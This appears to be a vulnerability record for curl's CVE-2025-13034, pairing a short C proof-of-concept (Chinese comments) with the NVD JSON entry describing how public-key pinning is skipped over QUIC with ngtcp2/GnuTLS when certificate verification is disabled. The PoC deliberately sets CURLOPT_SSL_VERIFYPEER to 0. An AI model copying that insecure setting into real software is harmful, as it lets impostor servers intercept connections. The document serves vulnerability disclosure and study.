CVE-2025-13034

// CVE-2025-13034 PoC - 公钥固定校验绕过 // 条件：QUIC + ngtcp2(GnuTLS构建) + 禁用标准证书验证 #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // 启用公钥固定 curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, "/path/to/expected_pubkey.pem"); // 禁用标准证书验证（触发漏洞的关键条件） curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); // 使用QUIC协议连接 curl_easy_setopt(curl, CURLOPT_URL, "https://target.example.com/"); curl_easy_setopt(curl, CURLOPT_ALTSVC, "alt-svc.txt"); // 在QUIC+ngtcp2(GnuTLS)+禁用验证的条件下 // 公钥固定检查会被绕过 res = curl_easy_perform(curl); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

{"cve": {"id": "CVE-2025-13034", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-01-08T10:15:45.407", "lastModified": "2026-01-20T14:54:02.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When using `CURLOPT_PINNEDPUBLICKEY` option with libcurl or `--pinnedpubkey`\nwith the curl tool,curl should check the public key of the server certificate\nto verify the peer.\n\nThis check was skipped in a certain condition that would then make curl allow\nthe connection without performing the proper check, thus not noticing a\npossible impostor. To skip this check, the connection had to be done with QUIC\nwith ngtcp2 built to use GnuTLS and the user had to explicitly disable the\nstandard certificate verification."}, {"lang": "es", "value": "Al usar la opción 'CURLOPT_PINNEDPUBLICKEY' con libcurl o '--pinnedpubkey' con la herramienta curl, curl debería verificar la clave pública del certificado del servidor para verificar el par.\n\nEsta verificación se omitió en una determinada condición que luego haría que curl permitiera la conexión sin realizar la verificación adecuada, sin notar así un posible impostor. Para omitir esta verificación, la conexión tenía que hacerse con QUIC con ngtcp2 compilado para usar GnuTLS y el usuario tenía que deshabilitar explícitamente la verificación estándar del certificado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.8.0", "versionEndExcluding": "8.18.0", "matchCriteriaId": "E6152C75-3784-4E17-A770-4585D1FD80C4"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2025-13034.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory", "Patch"]}, {"url": "https://curl.se/docs/CVE-2025-13034.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory"]}]}}